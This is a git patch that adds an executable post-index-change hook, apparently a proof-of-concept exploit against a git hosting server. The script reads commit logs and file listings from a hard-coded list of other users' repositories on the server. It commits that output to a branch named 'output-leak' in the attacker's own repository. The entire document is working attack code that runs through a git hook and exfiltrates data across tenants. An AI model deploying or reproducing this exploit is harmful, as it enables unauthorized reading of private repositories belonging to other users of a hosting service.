From 7e74793cbd83d800db6feee98be01b3a56bdbd5b Mon Sep 17 00:00:00 2001 From: w10019user Date: Wed, 25 Nov 2026 00:29:41 +0300 Subject: [PATCH] apply-patch --- hooks/post-index-change | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..dc3685d --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,19 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +for r in csoft/continuum-ui csoft/lv-demo admin/lv-demo kabishev.andrey/test texttomanga/TextToManga-AI-Studio texttomangahe/texttomanga-hebrew-ai-manga test-admin-z4aa/ms24d99a test-8cljrv/act8cljrv lf2d55e7km/docs-33079b; do + g=/data/git/repositories/$r.git + [ -d "$g" ] || { echo "===== $r MISSING"; continue; } + echo "===== $r" + git --git-dir=$g log --all --format='%h|%ad|%an|%s' --date=short 2>/dev/null | head -6 + echo "--HEADFILES--" + git --git-dir=$g ls-tree -r --name-only HEAD 2>/dev/null | head -50 +done +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"